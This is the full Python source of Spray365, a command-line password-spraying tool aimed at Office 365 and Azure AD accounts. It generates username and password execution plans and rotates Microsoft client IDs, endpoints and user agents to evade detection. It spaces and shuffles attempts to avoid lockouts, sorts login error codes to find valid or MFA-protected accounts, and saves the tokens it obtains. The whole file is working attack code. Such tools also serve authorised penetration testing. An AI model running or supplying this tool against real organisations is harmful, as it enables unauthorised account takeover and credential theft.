text: import argparse
  import datetime
  import itertools
  import json
  import os
  import random
  import sys
  import time
  from json import JSONEncoder
  from msal import PublicClientApplication
  from colorama import Fore
  import urllib3
  urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
  
  version = "0.1.1-beta"
  
  
  class Credential:
      auth_timestamp = None
      auth_trace_id = None
      auth_correlation_id = None
      auth_result_data = None
  
      def __init__(self, domain, username, password, client_id, endpoint, user_agent, delay, initial_delay=0):
          self.domain = domain
          self.username = username
          self.password = password
          self.client_id = client_id
          self.endpoint = endpoint
          self.user_agent = user_agent
          self.delay = delay
          self.initial_delay = initial_delay
  
      @property
      def email_address(self):
          return "%s@%s" % (self.username, self.domain)
  
      def authenticate(self, proxy, insecure=False):
  
          print_spray_cred_output(self)
  
          proxies = None
          if proxy:
              proxies = {
                  "http": proxy,
                  "https": proxy,
              }
          if insecure:
              auth_app = PublicClientApplication(
                  self.client_id[1], authority="https://login.microsoftonline.com/organizations", proxies=proxies, verify=False)
          else:
              auth_app = PublicClientApplication(
                  self.client_id[1], authority="https://login.microsoftonline.com/organizations", proxies=proxies)
          scopes = ["%s/.default" %
                    self.endpoint[1]]
  
          if self.user_agent:
              auth_app.authority.http_client._http_client.headers[
                  "User-Agent"] = self.user_agent[1]
  
          raw_result = auth_app.acquire_token_by_username_password(
              username=self.email_address, password=self.password, scopes=scopes)
  
          if "timestamp" in raw_result:
              self.auth_timestamp = raw_result["timestamp"]
  
          if "trace_id" in raw_result:
              self.auth_trace_id = raw_result["trace_id"]
  
          if "correlation_id" in raw_result:
              self.auth_correlation_id = raw_result["correlation_id"]
  
          # Error codes that also indicate a successful login; see https://github.com/AzureAD/microsoft-authentication-library-for-dotnet/wiki/Client-Applications#common-invalid-client-errors
          auth_complete_success_error_codes = [7000218]
          auth_partial_success_error_codes = [
              50053,
              50055,
              50057,
              50158,
              50076,
              53003
          ]
  
          auth_complete_success = False
          auth_partial_success = False
  
          result = AuthResult(credential=self)
  
          if "error_codes" in raw_result:
              if any(e in raw_result["error_codes"] for e in auth_complete_success_error_codes):
                  auth_complete_success = True
                  auth_partial_success = True
                  raw_result.pop("error")  # remove the error
              elif any(e in raw_result["error_codes"] for e in auth_partial_success_error_codes):
                  auth_partial_success = True
          else:
              auth_complete_success = True
              auth_partial_success = True
  
          result.set_auth_status(
              complete_success=auth_complete_success, partial_success=auth_partial_success)
  
          if "error_codes" in raw_result:
              result.error_codes = raw_result["error_codes"]
  
          if "error_description" in raw_result:
              result.raw_error_description = raw_result["error_description"]
  
          if not auth_complete_success:
              result.process_errors()
          else:
              result.store_tokens(raw_result)
  
          print_spray_cred_output(self, result)
          return result
  
  
  class CredentialEncoder(JSONEncoder):
      def default(self, o):
          return o.__dict__
  
  
  class AuthError:
      _error_message = ""
      _error_code = None
  
      def __init__(self, message, code):
          self._error_message = message
          self._error_code = code
  
      @property
      def error_message(self):
          return self._error_message
  
      @property
      def error_code(self):
          return self._error_code
  
  
  class AuthResult:
      _auth_complete_success = False
      _auth_partial_success = False
      _auth_error = None
  
      credential = None
      raw_error_description = None
      auth_token = None
      error_codes = []
  
      def __init__(self, credential):
          self.credential = credential
  
      @property
      def auth_partial_success(self):
          return self._auth_partial_success
  
      @property
      def auth_complete_success(self):
          return self._auth_complete_success
  
      @property
      def auth_error(self):
          return self._auth_error
  
      def set_auth_status(self, complete_success, partial_success):
          self._auth_complete_success = complete_success
          self._auth_partial_success = partial_success
  
      def process_errors(self):
          # Take only the first error code
          error_code = self.error_codes[0]
          message = None
  
          if error_code == 50034:
              message = "User not found"
          elif error_code == 50053:
              message = "Account locked"
          elif error_code == 50055:
              message = "Account password expired"
          elif error_code == 50057:
              message = "Account disabled"
          elif error_code == 50158:
              message = "External validation failed (is there a conditional access policy?)"
          elif error_code == 50076:
              message = "Multi-Factor Authentication Required"
          elif error_code == 50126:
              message = "Invalid credentials"
          elif error_code == 53003:
              message = "Conditional access policy prevented access"
          elif error_code == 65001:
              message = "Unapproved application requires interactive authentication"
          else:
              message = "An unknown error occurred"
  
          self._auth_error = AuthError(message, error_code)
  
      def store_tokens(self, token_result):
          self.auth_token = token_result
  
  
  def print_banner():
  
      possible_colors = [
          Fore.CYAN,
          Fore.GREEN,
          Fore.RED,
          Fore.LIGHTBLUE_EX,
          Fore.LIGHTCYAN_EX,
          Fore.LIGHTGREEN_EX,
          Fore.LIGHTMAGENTA_EX,
          Fore.LIGHTRED_EX,
          Fore.LIGHTYELLOW_EX
      ]
  
      colors = random.sample(possible_colors, 8)
      colors_tuple = tuple(colors)
  
      lines = [
          "\n%s███████╗%s██████╗ %s██████╗ %s █████╗ %s██╗   ██╗%s██████╗ %s ██████╗ %s███████╗" % colors_tuple,
          "%s██╔════╝%s██╔══██╗%s██╔══██╗%s██╔══██╗%s╚██╗ ██╔╝%s╚════██╗%s██╔════╝ %s██╔════╝" % colors_tuple,
          "%s███████╗%s██████╔╝%s██████╔╝%s███████║%s ╚████╔╝ %s █████╔╝%s███████╗ %s███████╗" % colors_tuple,
          "%s╚════██║%s██╔═══╝ %s██╔══██╗%s██╔══██║%s  ╚██╔╝  %s ╚═══██╗%s██╔═══██╗%s╚════██║" % colors_tuple,
          "%s███████║%s██║     %s██║  ██║%s██║  ██║%s   ██║   %s██████╔╝%s ██████╔╝%s███████║" % colors_tuple,
          "%s╚══════╝%s╚═╝     %s╚═╝  ╚═╝%s╚═╝  ╚═╝%s   ╚═╝   %s╚═════╝ %s ╚═════╝ %s╚══════╝" % colors_tuple,
          "%30sBy MarkoH17 (https://github.com/MarkoH17)" % colors[3],
          "%s%sVersion: %s\n%s" % (
              (" " * (57 - len(version))), colors[3], version, Fore.RESET)
      ]
      [print(line) for line in lines]
  
  
  def initialize():
      parser = argparse.ArgumentParser(
          prog="spray365.py",
          formatter_class=argparse.ArgumentDefaultsHelpFormatter
      )
  
      mode_argument_group = parser.add_mutually_exclusive_group(
          required=True)
  
      mode_argument_group.add_argument(
          "-g", "--generate", type=str, help="File to store the generated Spray365 execution plan")
      mode_argument_group.add_argument(
          "-s", "--spray", type=str, help="File containing Spray365 execution plan to use for password spraying")
  
      parser.add_argument("-d", "--domain", type=str,
                          help="Office 365 domain to authenticate against")
  
      parser.add_argument("-u", "--user_file", type=str,
                          help="File containing usernames to spray (one per line without domain)")
  
      password_argument_group = parser.add_mutually_exclusive_group()
      password_argument_group.add_argument("-p", "--password", type=str,
                                           help="Password to spray")
      password_argument_group.add_argument("-pf", "--password_file", type=str,
                                           help="File containing passwords to spray (one per line)")
  
      parser.add_argument("--delay", type=int,
                          help="Delay in seconds to wait between authentication attempts", default=30)
      parser.add_argument("--lockout", type=int,
                          help="Number of account lockouts to observe before aborting spraying session (disable with 0)", default=5)
  
      parser.add_argument(
          "--proxy", type=str, help="HTTP Proxy URL (format: http[s]://proxy.address:port)")
  
      parser.add_argument(
          "-k", "--insecure", action="store_true", help="Disable HTTPS certificate verification")
  
      parser.add_argument("-cID", "--aad_client", type=str,
                          help="Client ID used during authentication workflow (None for random selection, specify multiple in a comma-separated string)", default=None, required=False)
  
      parser.add_argument("-eID", "--aad_endpoint", type=str,
                          help="Endpoint ID to specify during authentication workflow (None for random selection, specify multiple in a comma-separated string)", default=None, required=False)
  
      parser.add_argument("-S", "--shuffle_auth_order",
                          help="Shuffle order of authentication attempts so that each iteration (User1:Pass1, User2:Pass1, User3:Pass1) will be sprayed in a random order, and with a random arrangement of passwords, e.g (User4:Pass16, User13:Pass25, User19:Pass40). Be aware this option introduces the possibility that the time between consecutive authentication attempts for a given user may occur DELAY seconds apart. Consider using the -mD/--min_cred_loop_delay option to enforce a minimum delay between authentication attempts for any given user.", default=False, action='store_true')
  
      parser.add_argument("-SO", "--shuffle_optimization_attempts", type=int,
                          help="Number of random execution plans to generate for identifying the fastest execution plan", default=10)
  
      parser.add_argument("-mD", "--min_cred_loop_delay", type=int,
                          help="Minimum time to wait between authentication attempts for a given user. This option takes into account the time one spray iteration will take, so a pre-authentication delay may not occur every time (disable with 0)", default=0)
  
      parser.add_argument("-R", "--resume_index", type=int,
                          help="Resume spraying passwords from this position in the execution plan", default=0)
  
      user_agent_argument_group = parser.add_mutually_exclusive_group()
      user_agent_argument_group.add_argument("-cUA", "--custom_user_agent", type=str,
                                             help="Set custom user agent for authentication requests")
      user_agent_argument_group.add_argument("-rUA", "--random_user_agent",
                                             help="Randomize user agent for authentication requests", default=False, action='store_true')
  
      args = parser.parse_args()
      validate_args(args)
      main(args)
  
  
  def validate_args(args):
      if args.generate is not None:
          # Validate args needed for generation
          generate_arg_valid = args.generate is not None and not os.path.isfile(
              args.generate)
  
          domain_arg_valid = args.domain is not None
          user_arg_valid = args.user_file is not None and os.path.isfile(
              args.user_file)
          password_arg_valid = (
              (args.password_file is not None and os.path.isfile(args.password_file)) or
              (args.password is not None)
          )
  
          delay_arg_valid = args.delay is not None and args.delay >= 0
  
          min_cred_loop_delay_arg_valid = args.min_cred_loop_delay is not None and args.min_cred_loop_delay >= 0
          if not generate_arg_valid:
              print_warning(
                  "Generate argument is invalid (does this file already exist?)")
          if not domain_arg_valid:
              print_warning("Domain argument is invalid")
          if not user_arg_valid:
              print_warning("User argument (--user / --user_file) is invalid")
          if not password_arg_valid:
              print_warning(
                  "User argument (--password / --password_file) is invalid")
          if not delay_arg_valid:
              print_warning("Delay argument is invalid")
  
          if not (
              generate_arg_valid and
              domain_arg_valid and
              user_arg_valid and
              password_arg_valid and
              delay_arg_valid and
  
              min_cred_loop_delay_arg_valid
          ):
              print_error("Arguments are invalid")
              sys.exit(1)
      else:
          # Validate args needed for spraying
          spray_arg_valid = args.spray is not None and os.path.isfile(
              args.spray)
  
          lockout_arg_valid = args.lockout is not None and args.lockout >= 0
  
          resume_index_arg_valid = args.resume_index is not None and args.resume_index >= 0
  
          if not spray_arg_valid:
              print_warning(
                  "Spray argument is invalid (does this file exist?)")
          if not lockout_arg_valid:
              print_warning("Lockout argument is invalid")
  
          if not (
              spray_arg_valid and
              lockout_arg_valid and
              resume_index_arg_valid
          ):
              print_error("Arguments are invalid")
              sys.exit(1)
  
  
  def get_credential_combinations(domain, usernames, passwords, client_ids, endpoint_ids, user_agents, delay):
      combinations = []
  
      client_id_values = list(client_ids.items())
      endpoint_id_values = list(endpoint_ids.items())
      user_agent_values = list(user_agents.items())
  
      for password in passwords:
          for username in usernames:
              username = username.strip()
              combinations.append(
                  Credential(domain, username, password, random.choice(
                      client_id_values), random.choice(endpoint_id_values), random.choice(user_agent_values), delay)
              )
      return combinations
  
  
  def group_credential_combinations_by_key(combinations, grouping_func):
      sorted_combinations = sorted(combinations, key=grouping_func)
  
      grouped_combinations = {}
      for key, value in itertools.groupby(sorted_combinations, grouping_func):
          grouped_combinations[key] = list(value)
      return grouped_combinations
  
  
  def calculate_random_delays(auth_creds, min_delay_time):
      for spray_group in list(auth_creds.keys())[1:]:
          for cred_idx, cred in enumerate(auth_creds[spray_group]):
              previous_cred_vals = next(
                  ((c_idx, c) for c_idx, c in enumerate(auth_creds[spray_group - 1]) if c.username == cred.username), None)
              previous_cred_idx = previous_cred_vals[0]
  
              previous_group_delays = sum([
                  c.delay + c.initial_delay for c in auth_creds[spray_group - 1][previous_cred_idx:]])
              current_group_delays = sum([
                  c.delay + c.initial_delay for c in auth_creds[spray_group][:cred_idx]
              ])
              prior_delays = previous_group_delays + current_group_delays
  
              if prior_delays < min_delay_time:
                  additional_needed_delay = min_delay_time - prior_delays
                  cred.initial_delay = additional_needed_delay
  
  
  def get_spray_runtime(auth_creds):
      runtime = 0
      if type(auth_creds) is dict:
          for spray_group in list(auth_creds.keys()):
              group_time = sum([
                  c.delay + c.initial_delay for c in auth_creds[spray_group]
              ])
              runtime += group_time
      elif type(auth_creds) is list:
          runtime = sum([
              c.delay + c.initial_delay for c in auth_creds
          ])
      return runtime
  
  
  def process_custom_aad_values(prefix, input_str):
      values = input_str.split(",")
      result = {}
      for i in range(len(values)):
          result["%s%d" % (prefix, i + 1)] = values[i]
      return result
  
  
  def generate_execution_plan(args):
      password_list = []
      user_list = []
      domain = args.domain
  
      if args.password:
          password_list.append(args.password)
      else:
          with open(args.password_file, "r") as password_file_handle:
              password_list = password_file_handle.read().splitlines()
  
      with open(args.user_file, "r") as user_file_handle:
          user_list = user_file_handle.read().splitlines()
  
      delay = args.delay
  
      print_info("Generating execution plan for %d credentials with a %ds delay after each attempt..." %
                 ((len(user_list) * len(password_list)), delay))
  
      if not args.aad_client:
          print_info("Execution plan will use random AAD client IDs")
      else:
          print_info("Execution plan will use the provided AAD client ID(s)")
  
      if not args.aad_endpoint:
          print_info("Execution plan will use random AAD endpoint IDs")
      else:
          print_info("Execution plan will use the provided AAD endpoint ID(s)")
  
      spray_duration = len(user_list) * len(password_list) * delay
  
      # Source: https://github.com/Gerenios/AADInternals/blob/master/AccessToken_utils.ps1
      endpoint_ids = {
          "aad_graph_api": "https://graph.windows.net",
          "azure_mgmt_api": "https://management.azure.com",
          "cloudwebappproxy": "https://proxy.cloudwebappproxy.net/registerapp",
          "ms_graph_api": "https://graph.microsoft.com",
          "msmamservice": "https://msmamservice.api.application",
          "office_mgmt": "https://manage.office.com",
          "officeapps": "https://officeapps.live.com",
          "outlook": "https://outlook.office365.com",
          "sara": "https://api.diagnostics.office.com",
          "spacesapi": "https://api.spaces.skype.com",
          "webshellsuite": "https://webshell.suite.office.com",
          "windows_net_mgmt_api": "https://management.core.windows.net"
      }
  
      client_ids = {
          "aad_account": "0000000c-0000-0000-c000-000000000000",
          "aad_brokerplugin": "6f7e0f60-9401-4f5b-98e2-cf15bd5fd5e3",
          "aad_cloudap": "38aa3b87-a06d-4817-b275–7a316988d93b",
          "aad_join": "b90d5b8f-5503-4153-b545-b31cecfaece2",
          "aad_pinredemption": "06c6433f-4fb8-4670-b2cd-408938296b8e",
          "aadconnectv2": "6eb59a73-39b2-4c23-a70f-e2e3ce8965b1",
          "aadrm": "90f610bf-206d-4950-b61d-37fa6fd1b224",
          "aadsync": "cb1056e2-e479-49de-ae31-7812af012ed8",
          "adibizaux": "74658136-14ec-4630-ad9b-26e160ff0fc6",
          "apple_internetaccounts": "f8d98a96-0999-43f5-8af3-69971c7bb423",
          "az": "1950a258-227b-4e31-a9cf-717495945fc2",
          "azure_mgmt": "84070985-06ea-473d-82fe-eb82b4011c9d",
          "azure_mobileapp_android": "0c1307d4-29d6-4389-a11c-5cbe7f65d7fa",
          "azureadmin": "c44b4083-3bb0-49c1-b47d-974e53cbdf3c",
          "azuregraphclientint": "7492bca1-9461-4d94-8eb8-c17896c61205",
          "azuremdm": "29d9ed98-a469-4536-ade2-f981bc1d605e",
          "dynamicscrm": "00000007-0000-0000-c000-000000000000",
          "exo": "a0c73c16-a7e3-4564-9a95-2bdf47383716",
          "graph_api": "1b730954-1685-4b74-9bfd-dac224a7b894",
          "intune_mam": "6c7e8096-f593-4d72-807f-a5f86dcc9c77",
          "ms_authenticator": "4813382a-8fa7-425e-ab75-3b753aab3abb",
          "ms_myaccess": "19db86c3-b2b9-44cc-b339-36da233a3be2",
          "msdocs_tryit": "7f59a773-2eaf-429c-a059-50fc5bb28b44",
          "msmamservice": "27922004-5251-4030-b22d-91ecd9a37ea4",
          "o365exo": "00000002-0000-0ff1-ce00-000000000000",
          "o365spo": "00000003-0000-0ff1-ce00-000000000000",
          "o365suiteux": "4345a7b9-9a63-4910-a426-35363201d503",
          "office": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
          "office_mgmt": "389b1b32-b5d5-43b2-bddc-84ce938d6737",
          "office_mgmt_mobile": "00b41c95-dab0-4487-9791-b9d2c32c80f2",
          "office_online": "bc59ab01-8403-45c6-8796-ac3ef710b3e3",
          "office_online2": "57fb890c-0dab-4253-a5e0-7188c88b2bb4",
          "onedrive": "ab9b8c07-8f02-4f72-87fa-80105867a763",
          "patnerdashboard": "4990cffe-04e8-4e8b-808a-1175604b879",
          "powerbi_contentpack": "2a0c3efa-ba54-4e55-bdc0-770f9e39e9ee",
          "pta": "cb1056e2-e479-49de-ae31-7812af012ed8",
          "sara": "d3590ed6-52b3-4102-aeff-aad2292ab01c",
          "skype": "d924a533-3729-4708-b3e8-1d2445af35e3",
          "sp_mgmt": "9bc3ab49-b65d-410a-85ad-de819febfddc",
          "synccli": "1651564e-7ce4-4d99-88be-0a65050d8dc3",
          "teams": "1fec8e78-bce4-4aaf-ab1b-5451cc387264",
          "teams_client": "1fec8e78-bce4-4aaf-ab1b-5451cc387264",
          "teamswebclient": "5e3ce6c0-2b1f-4285-8d4b-75ee78787346",
          "webshellsuite": "89bee1f7-5e6e-4d8a-9f3d-ecd601259da7",
          "windows_configdesigner": "de0853a1-ab20-47bd-990b-71ad5077ac7b",
          "www": "00000006-0000-0ff1-ce00-000000000000",
      }
  
      if args.aad_client:
          client_ids = process_custom_aad_values("custom_cid_", args.aad_client)
  
      if args.aad_endpoint:
          endpoint_ids = process_custom_aad_values(
              "custom_eid_", args.aad_endpoint)
  
      user_agents = {
          "default": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36"
      }
  
      if args.custom_user_agent:
          user_agents = {
              "custom_user_agent": args.custom_user_agent
          }
      elif args.random_user_agent:
          user_agents = {
              "android": "Mozilla/5.0 (Linux; Android 12) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.50 Mobile Safari/537.36",
              "apple_iphone_safari": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.0 Mobile/15E148 Safari/604.1",
              "apple_mac_firefox": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:94.0) Gecko/20100101 Firefox/94.0",
              "linux_firefox": "Mozilla/5.0 (X11; Linux i686; rv:94.0) Gecko/20100101 Firefox/94.0",
              "win_chrome_win10": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36",
              "win_ie11_win7": "Mozilla/5.0 (Windows NT 6.1; Trident/7.0; rv:11.0) like Gecko",
              "win_ie11_win8": "Mozilla/5.0 (Windows NT 6.2; Trident/7.0; rv:11.0) like Gecko",
              "win_ie11_win8.1": "Mozilla/5.0 (Windows NT 6.3; Trident/7.0; rv:11.0) like Gecko",
              "win_ie11_win10": "Mozilla/5.0 (Windows NT 10.0; Trident/7.0; rv:11.0) like Gecko",
              "win_edge_win10": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Edg/95.0.1020.44"
          }
  
      auth_creds = {}
  
      if args.shuffle_auth_order and not args.min_cred_loop_delay:
          print_warning(
              "This random execution plan does not enforce a minimum cred loop delay (-mD / --min_cred_loop_delay). This may cause account lockouts!!!")
  
      if args.shuffle_auth_order:
          optimization_tries = args.shuffle_optimization_attempts if args.min_cred_loop_delay else 1
  
          temp_auth_creds = {}
          possible_auth_creds = {}
  
          for i in range(0, optimization_tries):
              print_info("Generated potential execution plan %d/%d" %
                         (i+1, optimization_tries))
              raw_combinations = get_credential_combinations(
                  domain, user_list, password_list, client_ids, endpoint_ids, user_agents, delay)
              # Generate all combinations of users passwords, then
              # Group them into entire sets of users
              auth_combinations_by_user = group_credential_combinations_by_key(
                  raw_combinations, lambda cred: cred.username)
  
              for user in auth_combinations_by_user.keys():
                  random.shuffle(auth_combinations_by_user[user])
  
              group_index = 0
              while sum([len(auth_combinations_by_user[u]) for u in auth_combinations_by_user.keys()]) > 0:
                  cred_grouping = []
                  users = list(auth_combinations_by_user.keys())
                  random.shuffle(users)
  
                  while users:
                      random_user_index = random.randrange(0, len(users))
                      user = users.pop(random_user_index)
  
                      random_cred_index = random.randrange(
                          0, len(auth_combinations_by_user[user]))
                      random_cred = auth_combinations_by_user[user].pop(
                          random_cred_index)
  
                      cred_grouping.append(random_cred)
                  temp_auth_creds[group_index] = cred_grouping
                  group_index += 1
  
              calculate_random_delays(temp_auth_creds, args.min_cred_loop_delay)
  
              runtime = get_spray_runtime(temp_auth_creds)
              possible_auth_creds[i] = (runtime, temp_auth_creds)
          runtimes = [(spray_attempt[1][0], spray_attempt[0])
                      for spray_attempt in possible_auth_creds.items()]
  
          fastest_runtime = min(runtimes)
          slowest_runtime = max(runtimes)
          auth_creds = possible_auth_creds[fastest_runtime[1]][1]
  
          print_info("Optimal execution plan identified (#%d)" %
                     (fastest_runtime[1]+1))
          print_info("Spraying will take %d seconds, %d seconds faster than the slowest execution plan generated" % (
              fastest_runtime[0],
              (slowest_runtime[0] - fastest_runtime[0])
          ))
          print_info("This random execution plan will take %d seconds longer than spraying with a simple (non-random) execution plan" %
                     (fastest_runtime[0] - spray_duration))
  
      else:
          raw_combinations = get_credential_combinations(
              domain, user_list, password_list, client_ids, endpoint_ids, user_agents, delay)
  
          auth_combinations_by_password = group_credential_combinations_by_key(
              raw_combinations, lambda cred: cred.password)
          auth_creds = auth_combinations_by_password
          print_info("Simple execution plan identified")
          print_info("Spraying will take %d seconds" % spray_duration)
  
      # Save the execution plan, auth_creds to a file
  
      cred_execution_plan = []
  
      for auth_cred_group in auth_creds.keys():
          cred_execution_plan.extend(auth_creds[auth_cred_group])
  
      json_execution_plan = json.dumps(
          cred_execution_plan, default=lambda o: o.__dict__)
      with open(args.generate, "w") as execution_plan_file:
          execution_plan_file.write(json_execution_plan)
      print_info("Execution plan with %d credentials saved to file '%s'" %
                 (len(cred_execution_plan), args.generate))
  
      '''
      
      for auth_cred_group in auth_creds.keys():
          for cred in auth_creds[auth_cred_group]:
              print("%s:%s (total delay: %d) (before delay: %d) (after delay: %d) " % (
                  cred.username, cred.password, (cred.initial_delay + cred.delay), cred.initial_delay, cred.delay))
          print()
      '''
  
  
  def decode_execution_plan_item(credential_dict):
      return Credential(**credential_dict)
  
  
  def export_auth_results(auth_results):
      export_file = "spray365_results_%s.json" % datetime.datetime.now().strftime(
          "%Y-%m-%d_%H-%M-%S")
  
      json_execution_plan = json.dumps(
          auth_results, default=lambda o: o.__dict__)
      with open(export_file, "w") as execution_plan_file:
          execution_plan_file.write(json_execution_plan)
  
      print_info("Authentication results file '%s'" %
                 export_file)
  
  
  def spray_execution_plan(args):
      print_info("Processing execution plan '%s'" % args.spray)
      execution_plan_file_path = args.spray
  
      with open(execution_plan_file_path, "r") as execution_plan_file:
          execution_plan_lines = execution_plan_file.readlines()
  
      execution_plan_str = ""
  
      for line in execution_plan_lines:
          execution_plan_str += line.strip("\r").strip("\n")
  
      auth_creds = json.loads(
          execution_plan_str, object_hook=decode_execution_plan_item)
  
      resume_index = args.resume_index
  
      number_of_creds_to_spray = len(auth_creds)
      print_info("Identified %d credentials in the provided execution plan" %
                 number_of_creds_to_spray)
  
      if resume_index and resume_index > number_of_creds_to_spray:
          print_error("Resume index '%d' is larger than the number of credentials (%d) in the execution plan" % (
              resume_index, number_of_creds_to_spray))
  
      if resume_index:
          print_info("Password spraying will continue with credential %d out of %d" % (
              resume_index, number_of_creds_to_spray))
  
      estimated_spray_duration = get_spray_runtime(
          auth_creds[resume_index:])
      spray_completion_datetime = (datetime.datetime.now(
      ) + datetime.timedelta(seconds=estimated_spray_duration)).strftime("%Y-%m-%d %H:%M:%S")
  
      print_info("Password spraying will take at least %d seconds, and should finish around %s" %
                 (estimated_spray_duration, spray_completion_datetime))
  
      lockout_threshold = args.lockout
      if lockout_threshold:
          print_info("Lockout threshold is set to %d accounts" %
                     lockout_threshold)
      else:
          print_warning("Lockout threshold is disabled")
  
      proxy_url = args.proxy
      if proxy_url:
          print_info("Proxy (HTTP/HTTPS) set to '%s'" % proxy_url)
  
      print_info("Starting to spray credentials")
  
      global global_spray_size
      global global_spray_idx
      global global_lockouts_observed
  
      global_spray_size = len(auth_creds)
      global_lockouts_observed = 0
      start_index = resume_index if resume_index else 0
      global_spray_idx = start_index + 1
  
      auth_results = []
  
      for spray_idx in range(len(auth_creds[resume_index:])):
          cred = auth_creds[spray_idx + resume_index]
          time.sleep(cred.initial_delay)
  
          result = cred.authenticate(proxy_url, args.insecure)
          auth_results.append(result)
  
          if result.auth_error.error_code == 50053:
              global_lockouts_observed += 1
  
          if lockout_threshold and global_lockouts_observed >= lockout_threshold:
              print_error("Lockout threshold reached, aborting password spray")
  
          global_spray_idx += 1
  
          if spray_idx < global_spray_size:
              time.sleep(cred.delay)
  
      export_auth_results(auth_results)
  
  
  def main(args):
      generate_mode = args.generate is not None
  
      if(generate_mode):
          generate_execution_plan(args)
      else:
          spray_execution_plan(args)
  
  
  def print_error(message, fatal=True):
      print("%s[%s - ERROR]: %s" % (Fore.RED, get_time_str(), message))
      if fatal:
          sys.exit(1)
  
  
  def print_warning(message):
      print("%s[%s - WARN]: %s" %
            (Fore.YELLOW, get_time_str(), message))
  
  
  def print_info(message):
      print("%s[%s - INFO]: %s" %
            (Fore.LIGHTBLUE_EX,
             get_time_str(),
             message))
  
  
  def print_spray_cred_output(credential, auth_result=None):
      if auth_result is None:
          status = "%s(waiting...)" % Fore.BLUE
      elif auth_result.auth_complete_success:
          status = "%s(Authentication Success)" % Fore.GREEN
      elif auth_result.auth_partial_success:
          status = "%s(Partial Success: %s)" % (
              Fore.LIGHTYELLOW_EX, auth_result.auth_error.error_message)
      else:
          status = "%s(Failed: %s)" % (
              Fore.RED, auth_result.auth_error.error_message)
  
      spray_index = str(global_spray_idx).zfill(len(str(global_spray_size)))
  
      line_terminator = "\r" if not auth_result else None
      flush_line = True if auth_result else False
  
      print_spray_output(
          spray_index,
          global_spray_size,
          credential.client_id[0],
          credential.endpoint[0],
          credential.user_agent[0],
          credential.username,
          credential.password,
          status,
          line_terminator,
          flush_line
      )
  
  
  def print_spray_output(spray_idx, spray_cnt, client_id, endpoint_id, user_agent, username, password, status_message, line_terminator, flush):
      print("%s[%s - SPRAY %s/%d] (%s%s%s->%s%s%s->%s%s%s): %s%s / %s%s %s%s" %
            (
                Fore.LIGHTBLUE_EX,
                get_time_str(),
                spray_idx,
                spray_cnt,
                Fore.LIGHTRED_EX,
                user_agent,
                Fore.LIGHTBLUE_EX,
                Fore.LIGHTCYAN_EX,
                client_id,
                Fore.LIGHTBLUE_EX,
                Fore.LIGHTGREEN_EX,
                endpoint_id,
                Fore.LIGHTBLUE_EX,
                Fore.LIGHTMAGENTA_EX,
                username,
                Fore.LIGHTMAGENTA_EX,
                password,
                status_message,
                Fore.RESET
            ), end=line_terminator, flush=flush)
  
  
  def get_time_str():
      date_str = datetime.datetime.now().strftime("%Y-%m-%d %H:%M:%S")
      return date_str
  
  
  if __name__ == "__main__":
      print_banner()
      initialize()
  